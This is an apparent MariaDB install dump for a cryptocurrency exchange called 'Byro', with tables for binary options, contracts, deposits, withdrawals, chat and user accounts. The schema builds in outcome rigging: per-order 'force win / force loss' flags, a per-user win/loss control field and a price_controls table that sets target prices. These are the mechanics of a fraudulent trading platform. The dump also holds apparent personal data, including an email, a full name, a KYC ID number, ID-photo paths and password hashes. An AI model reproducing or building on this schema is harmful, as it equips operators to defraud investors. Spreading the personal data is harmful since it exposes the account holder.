38451-vm/install.sql
2026-02-18 15:11:28 +00:00

552 lines
24 KiB
SQL
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/*M!999999\- enable the sandbox mode */
-- MariaDB dump 10.19 Distrib 10.11.14-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: 127.0.0.1 Database: app_38451
-- ------------------------------------------------------
-- Server version 10.11.14-MariaDB-0+deb12u2
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `admins`
--
DROP TABLE IF EXISTS `admins`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `admins` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password_hash` varchar(255) NOT NULL,
`role` varchar(20) DEFAULT 'admin',
`created_at` timestamp NULL DEFAULT current_timestamp(),
`is_agent` tinyint(4) DEFAULT 0,
`permissions` text DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `admins`
--
LOCK TABLES `admins` WRITE;
/*!40000 ALTER TABLE `admins` DISABLE KEYS */;
INSERT INTO `admins` VALUES
(1,'admin','$2y$10$uJvcqHNb.naRWj.apBapi.C.fF2zaIbMhYEtVdGmmVUWZkQi9ESfe','admin','2026-02-18 03:07:35',0,NULL);
/*!40000 ALTER TABLE `admins` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `binary_orders`
--
DROP TABLE IF EXISTS `binary_orders`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `binary_orders` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`symbol` varchar(20) NOT NULL,
`direction` varchar(10) DEFAULT NULL,
`amount` decimal(20,8) NOT NULL,
`duration` int(11) NOT NULL,
`profit_rate` decimal(5,2) NOT NULL,
`entry_price` decimal(20,8) NOT NULL,
`close_price` decimal(20,8) DEFAULT NULL,
`status` enum('pending','won','lost','cancelled') DEFAULT 'pending',
`control_status` tinyint(4) DEFAULT 0 COMMENT '0: normal, 1: force win, 2: force loss',
`created_at` timestamp NULL DEFAULT current_timestamp(),
`end_at` timestamp NULL DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `binary_orders`
--
LOCK TABLES `binary_orders` WRITE;
/*!40000 ALTER TABLE `binary_orders` DISABLE KEYS */;
INSERT INTO `binary_orders` VALUES
(1,2,'BTC','up',100.00000000,60,8.00,67652.01000000,68328.53010000,'won',1,'2026-02-18 06:00:25','2026-02-18 08:00:59'),
(2,2,'BTC','down',100.00000000,60,8.00,67788.80000000,67110.91200000,'won',1,'2026-02-18 06:16:43','2026-02-18 08:00:59'),
(3,2,'BTC','up',1000.00000000,60,8.00,67879.37000000,68558.16370000,'won',1,'2026-02-18 06:40:10','2026-02-18 08:00:59'),
(4,2,'BTC','up',500.00000000,60,8.00,67839.92000000,68518.31920000,'won',1,'2026-02-18 06:57:02','2026-02-18 08:00:59'),
(5,2,'BTC','up',100.00000000,60,8.00,67813.14000000,68491.27140000,'won',1,'2026-02-18 07:07:26','2026-02-18 08:00:59'),
(6,2,'BTC','down',100.00000000,60,8.00,67770.32000000,67092.61680000,'won',1,'2026-02-18 07:17:26','2026-02-18 08:00:59'),
(7,2,'BTC','down',100.00000000,60,8.00,67753.40000000,67075.86600000,'won',1,'2026-02-18 07:22:09','2026-02-18 08:00:59'),
(8,2,'BTC','up',100.00000000,60,8.00,67756.31000000,68433.87310000,'won',1,'2026-02-18 07:27:16','2026-02-18 08:01:00'),
(9,2,'BTC','down',100.00000000,60,8.00,67798.67000000,67120.68330000,'won',1,'2026-02-18 07:33:08','2026-02-18 08:01:00'),
(10,2,'BTC','down',100.00000000,60,8.00,68073.40000000,67392.66600000,'won',1,'2026-02-18 07:44:11','2026-02-18 08:01:00'),
(11,2,'BTC','up',100.00000000,60,8.00,68158.35000000,68839.93350000,'won',1,'2026-02-18 07:50:39','2026-02-18 08:01:00'),
(12,2,'BTC','up',100.00000000,60,8.00,68142.00000000,68823.42000000,'won',1,'2026-02-18 08:02:35','2026-02-18 08:03:35'),
(13,2,'BTC','down',100.00000000,60,8.00,68175.65000000,68169.15000000,'won',1,'2026-02-18 08:37:39','2026-02-18 08:38:40');
/*!40000 ALTER TABLE `binary_orders` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `contract_orders`
--
DROP TABLE IF EXISTS `contract_orders`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `contract_orders` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`symbol` varchar(20) NOT NULL,
`type` enum('limit','market') DEFAULT 'market',
`direction` varchar(10) DEFAULT NULL,
`leverage` int(11) DEFAULT 1,
`amount` decimal(20,8) NOT NULL,
`entry_price` decimal(20,8) DEFAULT NULL,
`close_price` decimal(20,8) DEFAULT NULL,
`status` enum('open','closed','cancelled') DEFAULT 'open',
`profit` decimal(20,8) DEFAULT 0.00000000,
`control_status` tinyint(4) DEFAULT 0 COMMENT '0: normal, 1: force win, 2: force loss',
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `contract_orders`
--
LOCK TABLES `contract_orders` WRITE;
/*!40000 ALTER TABLE `contract_orders` DISABLE KEYS */;
/*!40000 ALTER TABLE `contract_orders` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `exchange_records`
--
DROP TABLE IF EXISTS `exchange_records`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `exchange_records` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`from_symbol` varchar(10) NOT NULL,
`to_symbol` varchar(10) NOT NULL,
`from_amount` decimal(20,8) NOT NULL,
`to_amount` decimal(20,8) NOT NULL,
`rate` decimal(20,8) NOT NULL,
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `exchange_records`
--
LOCK TABLES `exchange_records` WRITE;
/*!40000 ALTER TABLE `exchange_records` DISABLE KEYS */;
/*!40000 ALTER TABLE `exchange_records` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `finance_requests`
--
DROP TABLE IF EXISTS `finance_requests`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `finance_requests` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`type` enum('recharge','withdrawal') NOT NULL,
`amount` decimal(20,8) NOT NULL,
`symbol` varchar(10) DEFAULT 'USDT',
`status` enum('pending','approved','rejected') DEFAULT 'pending',
`payment_method` varchar(50) DEFAULT NULL,
`payment_details` text DEFAULT NULL,
`rejection_reason` text DEFAULT NULL,
`tx_hash` varchar(255) DEFAULT NULL,
`created_at` timestamp NULL DEFAULT current_timestamp(),
`updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
`fiat_amount` decimal(20,2) DEFAULT NULL,
`fiat_currency` varchar(10) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=18 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `finance_requests`
--
LOCK TABLES `finance_requests` WRITE;
/*!40000 ALTER TABLE `finance_requests` DISABLE KEYS */;
INSERT INTO `finance_requests` VALUES
(1,2,'recharge',209.64000000,'USDT','approved','Fiat (MYR)',NULL,NULL,'','2026-02-18 04:45:54','2026-02-18 04:46:29',NULL,NULL),
(2,2,'recharge',10.00000000,'USDT','approved','Fiat (MYR)',NULL,NULL,'','2026-02-18 06:15:15','2026-02-18 06:16:15',NULL,NULL),
(3,2,'recharge',10.00000000,'USDT','approved','Fiat (MYR)',NULL,NULL,'','2026-02-18 06:33:05','2026-02-18 06:33:17',NULL,NULL),
(4,2,'recharge',10.00000000,'USDT','approved','Fiat (MYR: 50000)',NULL,NULL,'','2026-02-18 06:37:57','2026-02-18 06:38:22',NULL,NULL),
(5,2,'recharge',209.64000000,'USDT','approved','Fiat (MYR)',NULL,NULL,'','2026-02-18 06:54:02','2026-02-18 06:54:16',1000.00,'MYR'),
(6,2,'withdrawal',9249.28000000,'USDT','approved',NULL,'Fiat (MYR)',NULL,NULL,'2026-02-18 06:54:44','2026-02-18 06:54:58',44119.07,'MYR'),
(7,2,'recharge',10000.00000000,'USDT','approved','Fiat (USD)',NULL,NULL,'','2026-02-18 06:56:22','2026-02-18 06:56:45',10000.00,'USD'),
(8,2,'recharge',100.00000000,'USDT','approved','Fiat (USD)',NULL,NULL,'','2026-02-18 07:09:10','2026-02-18 07:10:11',100.00,'USD'),
(9,2,'withdrawal',1000.00000000,'USDT','approved',NULL,'Fiat (USD)',NULL,NULL,'2026-02-18 08:13:47','2026-02-18 08:14:10',1000.00,'USD'),
(10,2,'recharge',100.00000000,'USDT','approved','Fiat (USD)',NULL,NULL,'','2026-02-18 09:05:05','2026-02-18 09:05:52',100.00,'USD'),
(11,2,'withdrawal',100.00000000,'USDT','approved',NULL,'Fiat (USD)',NULL,NULL,'2026-02-18 09:06:13','2026-02-18 09:06:48',100.00,'USD'),
(12,2,'recharge',209.64000000,'USDT','approved','Fiat (MYR)',NULL,NULL,'','2026-02-18 09:26:51','2026-02-18 09:27:12',1000.00,'MYR'),
(13,2,'withdrawal',700.00000000,'USDT','approved',NULL,'Fiat (USD)',NULL,NULL,'2026-02-18 09:27:38','2026-02-18 09:27:52',700.00,'USD'),
(14,2,'recharge',746.27000000,'USDT','approved','Fiat (SGD)',NULL,NULL,'','2026-02-18 11:17:06','2026-02-18 11:18:57',1000.00,'SGD'),
(15,2,'withdrawal',1000.00000000,'USDT','approved',NULL,'Fiat (MYR)',NULL,NULL,'2026-02-18 11:18:24','2026-02-18 11:19:04',4770.00,'MYR'),
(16,2,'recharge',1000.00000000,'USDT','approved','TRC20',NULL,NULL,'','2026-02-18 11:21:13','2026-02-18 11:21:33',NULL,NULL),
(17,2,'recharge',746.26865672,'USDT','approved','Fiat (SGD)',NULL,NULL,'','2026-02-18 11:41:32','2026-02-18 11:41:46',1000.00,'SGD');
/*!40000 ALTER TABLE `finance_requests` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `messages`
--
DROP TABLE IF EXISTS `messages`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `messages` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) DEFAULT NULL,
`admin_id` int(11) DEFAULT NULL,
`sender` enum('user','admin') DEFAULT NULL,
`message` text DEFAULT NULL,
`ip_address` varchar(45) DEFAULT NULL,
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `messages`
--
LOCK TABLES `messages` WRITE;
/*!40000 ALTER TABLE `messages` DISABLE KEYS */;
INSERT INTO `messages` VALUES
(1,1,NULL,'user','1','::1','2026-02-16 03:27:13'),
(2,1,1,'admin','1','::1','2026-02-16 03:27:24'),
(3,1,NULL,'user','1','::1','2026-02-16 05:05:24'),
(4,1,1,'admin','你好','::1','2026-02-16 05:05:50'),
(5,1,NULL,'user','[Recharge Request]Fiat Amount: 1000 CNYEstimated USDT: 139.08 USDTPlease provide payment details.','::1','2026-02-16 06:43:24'),
(6,1,NULL,'user','1','::1','2026-02-18 03:03:47'),
(7,1,1,'admin','222','::1','2026-02-18 03:04:14'),
(8,2,NULL,'user','【充值】类型法币充值金额1000 MYR预计到账 USDT209.64 USDT','::1','2026-02-18 03:21:37'),
(9,2,NULL,'user','【充值】类型法币充值金额1000 MYR预计到账 USDT209.64 USDT','::1','2026-02-18 04:45:54'),
(10,2,2,'admin','11','::1','2026-02-18 09:00:56'),
(11,2,NULL,'user','你好手上','::1','2026-02-18 09:04:32'),
(12,2,1,'admin','你好','::1','2026-02-18 09:04:43'),
(13,2,NULL,'user','[RECHARGE REQUEST]------------------Type: Fiat RechargeAmount: 100 USDRate: 1 USDT = 1 USDEst. USDT: 100.00 USDTStatus: Pending Approval------------------Please confirm my deposit.','::1','2026-02-18 09:05:05'),
(14,2,NULL,'user','[WITHDRAWAL REQUEST]------------------Type: Fiat WithdrawalAmount: 100.00 USDTRate: 1 USDT = 1 USDTo Receive: 100.00 USD------------------Please process my fiat withdrawal.','::1','2026-02-18 09:06:13'),
(15,2,1,'admin','2222','::1','2026-02-18 09:21:27'),
(16,2,NULL,'user','2222','::1','2026-02-18 09:21:34'),
(17,2,NULL,'user','1','::1','2026-02-18 09:21:37'),
(18,2,1,'admin','123','::1','2026-02-18 09:25:25'),
(19,2,NULL,'user','321','::1','2026-02-18 09:25:32'),
(20,2,NULL,'user','recharge_msg_fiat','::1','2026-02-18 09:26:52'),
(21,2,NULL,'user','withdraw_msg_fiat','::1','2026-02-18 09:27:38'),
(22,2,NULL,'user','用户ID05617613 申请充值金额1000 SGD=1.34USDT','::1','2026-02-18 11:17:06'),
(23,2,1,'admin','1','::1','2026-02-18 11:17:41'),
(24,2,NULL,'user','用户ID05617613 申请提现金额1000.00 MYR=4.77USDT','::1','2026-02-18 11:18:24'),
(25,2,NULL,'user','用户ID05617613 申请充值金额1000 USDT (TRC20)','::1','2026-02-18 11:21:13'),
(26,2,NULL,'user','用户ID05617613 申请充值金额1000 SGD=746.2687USDT','::1','2026-02-18 11:41:32'),
(27,0,NULL,'user','你好手上','::1','2026-02-18 13:40:18');
/*!40000 ALTER TABLE `messages` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `price_controls`
--
DROP TABLE IF EXISTS `price_controls`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `price_controls` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`symbol` varchar(20) NOT NULL,
`target_price` decimal(20,8) NOT NULL,
`execution_time` timestamp NOT NULL,
`duration` int(11) DEFAULT 60 COMMENT 'seconds',
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `price_controls`
--
LOCK TABLES `price_controls` WRITE;
/*!40000 ALTER TABLE `price_controls` DISABLE KEYS */;
/*!40000 ALTER TABLE `price_controls` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `spot_orders`
--
DROP TABLE IF EXISTS `spot_orders`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `spot_orders` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`symbol` varchar(20) NOT NULL,
`side` enum('buy','sell') NOT NULL,
`price` decimal(20,8) DEFAULT NULL,
`amount` decimal(20,8) NOT NULL,
`filled` decimal(20,8) DEFAULT 0.00000000,
`status` enum('pending','filled','cancelled') DEFAULT 'pending',
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `spot_orders`
--
LOCK TABLES `spot_orders` WRITE;
/*!40000 ALTER TABLE `spot_orders` DISABLE KEYS */;
/*!40000 ALTER TABLE `spot_orders` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `staking_records`
--
DROP TABLE IF EXISTS `staking_records`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `staking_records` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`plan_name` varchar(100) NOT NULL,
`amount` decimal(20,8) NOT NULL,
`symbol` varchar(10) DEFAULT 'USDT',
`daily_profit` decimal(5,2) NOT NULL,
`period` int(11) NOT NULL COMMENT 'days',
`status` enum('running','ended') DEFAULT 'running',
`start_date` date NOT NULL,
`end_date` date NOT NULL,
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `staking_records`
--
LOCK TABLES `staking_records` WRITE;
/*!40000 ALTER TABLE `staking_records` DISABLE KEYS */;
/*!40000 ALTER TABLE `staking_records` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `system_settings`
--
DROP TABLE IF EXISTS `system_settings`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `system_settings` (
`setting_key` varchar(50) NOT NULL,
`setting_value` text DEFAULT NULL,
PRIMARY KEY (`setting_key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `system_settings`
--
LOCK TABLES `system_settings` WRITE;
/*!40000 ALTER TABLE `system_settings` DISABLE KEYS */;
INSERT INTO `system_settings` VALUES
('android_download_url','/downloads/byro.apk'),
('apk_download_url','/downloads/byro.apk'),
('email_verification_enabled','0'),
('ios_download_url','/downloads/byro.apk'),
('mail_from_email',''),
('mail_from_name','Byro Exchange'),
('service_link',''),
('site_logo',''),
('site_name','Byro'),
('smtp_host',''),
('smtp_pass',''),
('smtp_port','587'),
('smtp_secure','tls'),
('smtp_user',''),
('usdt_bep20_address','0x742d35Cc6634C0532925a3b844Bc454e4438f44e'),
('usdt_erc20_address','0x742d35Cc6634C0532925a3b844Bc454e4438f44e'),
('usdt_protocol','TRC20'),
('usdt_recharge_address',''),
('usdt_trc20_address','TYv9V5J1P1eEwz7y3WqJg9M2yv7f7xXv3x');
/*!40000 ALTER TABLE `system_settings` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `transactions`
--
DROP TABLE IF EXISTS `transactions`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `transactions` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`type` varchar(20) NOT NULL,
`amount` decimal(20,8) NOT NULL,
`symbol` varchar(10) NOT NULL,
`status` varchar(20) DEFAULT 'completed',
`created_at` timestamp NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `transactions`
--
LOCK TABLES `transactions` WRITE;
/*!40000 ALTER TABLE `transactions` DISABLE KEYS */;
INSERT INTO `transactions` VALUES
(1,1,'deposit',5000.00000000,'USDT','completed','2026-02-15 15:40:31'),
(2,1,'deposit',1000.00000000,'USDT','completed','2026-02-15 15:45:53'),
(3,2,'recharge',209.64000000,'USDT','completed','2026-02-18 04:46:29'),
(4,2,'recharge',10.00000000,'USDT','completed','2026-02-18 06:16:15'),
(5,2,'recharge',10.00000000,'USDT','completed','2026-02-18 06:33:17'),
(6,2,'recharge',10.00000000,'USDT','completed','2026-02-18 06:38:22'),
(7,2,'recharge',209.64000000,'USDT','completed','2026-02-18 06:54:16'),
(8,2,'withdrawal',9249.28000000,'USDT','pending','2026-02-18 06:54:44'),
(9,2,'recharge',10000.00000000,'USDT','completed','2026-02-18 06:56:45'),
(10,2,'recharge',100.00000000,'USDT','completed','2026-02-18 07:10:11'),
(11,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:00:59'),
(12,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:00:59'),
(13,2,'binary_win',1080.00000000,'USDT','completed','2026-02-18 08:00:59'),
(14,2,'binary_win',540.00000000,'USDT','completed','2026-02-18 08:00:59'),
(15,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:00:59'),
(16,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:00:59'),
(17,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:01:00'),
(18,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:01:00'),
(19,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:01:00'),
(20,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:01:00'),
(21,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:01:00'),
(22,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:03:35'),
(23,2,'withdrawal',1000.00000000,'USDT','completed','2026-02-18 08:13:47'),
(24,2,'binary_win',108.00000000,'USDT','completed','2026-02-18 08:38:40'),
(25,2,'recharge',100.00000000,'USDT','completed','2026-02-18 09:05:52'),
(26,2,'withdrawal',100.00000000,'USDT','completed','2026-02-18 09:06:13'),
(27,2,'recharge',209.64000000,'USDT','completed','2026-02-18 09:27:12'),
(28,2,'withdrawal',700.00000000,'USDT','completed','2026-02-18 09:27:38'),
(29,2,'withdrawal',1000.00000000,'USDT','completed','2026-02-18 11:18:24'),
(30,2,'recharge',746.27000000,'USDT','completed','2026-02-18 11:18:57'),
(31,2,'recharge',1000.00000000,'USDT','completed','2026-02-18 11:21:33'),
(32,2,'recharge',746.26865672,'USDT','completed','2026-02-18 11:41:46');
/*!40000 ALTER TABLE `transactions` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `user_balances`
--
DROP TABLE IF EXISTS `user_balances`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `user_balances` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`symbol` varchar(10) NOT NULL,
`available` decimal(20,8) DEFAULT 0.00000000,
`frozen` decimal(20,8) DEFAULT 0.00000000,
PRIMARY KEY (`id`),
UNIQUE KEY `user_id` (`user_id`,`symbol`)
) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `user_balances`
--
LOCK TABLES `user_balances` WRITE;
/*!40000 ALTER TABLE `user_balances` DISABLE KEYS */;
INSERT INTO `user_balances` VALUES
(1,1,'USDT',6000.00000000,0.00000000),
(6,2,'USDT',11510.17865672,0.00000000);
/*!40000 ALTER TABLE `user_balances` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `users`
--
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) DEFAULT NULL,
`email` varchar(100) DEFAULT NULL,
`password_hash` varchar(255) NOT NULL,
`created_at` timestamp NULL DEFAULT current_timestamp(),
`uid` varchar(20) DEFAULT NULL,
`credit_score` int(11) DEFAULT 80,
`real_name_status` int(11) DEFAULT 0,
`role` varchar(20) DEFAULT 'user',
`total_recharge` decimal(16,4) DEFAULT 0.0000,
`transaction_password` varchar(255) DEFAULT NULL,
`kyc_name` varchar(100) DEFAULT NULL,
`kyc_id_number` varchar(50) DEFAULT NULL,
`kyc_photo_front` varchar(255) DEFAULT NULL,
`kyc_photo_back` varchar(255) DEFAULT NULL,
`kyc_photo_handheld` varchar(255) DEFAULT NULL,
`kyc_status` int(11) DEFAULT 0 COMMENT '0: Unverified, 1: Pending, 2: Verified, 3: Rejected',
`registration_ip` varchar(45) DEFAULT NULL,
`status` enum('normal','frozen') DEFAULT 'normal',
`win_loss_control` tinyint(4) DEFAULT 0 COMMENT '0: normal, 1: win, 2: loss',
`remark` text DEFAULT NULL,
`kyc_rejection_reason` text DEFAULT NULL,
`agent_id` int(11) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`),
UNIQUE KEY `email` (`email`),
UNIQUE KEY `uid` (`uid`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `users`
--
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES
(2,'ahao8988998','ahao8988@gmail.com','$2y$10$tdT4vIgddq1kh2isoBRIPe4goiZ3X1cbf2l6vtButmyZx71xP527q','2026-02-18 02:56:51','05617613',80,0,'user',0.0000,NULL,'张世豪','123456789','uploads/kyc/2_front_1771391536.jpg','uploads/kyc/2_back_1771391536.jpg','uploads/kyc/2_handheld_1771391536.jpg',2,NULL,'normal',1,'',NULL,NULL);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2026-02-18 15:07:12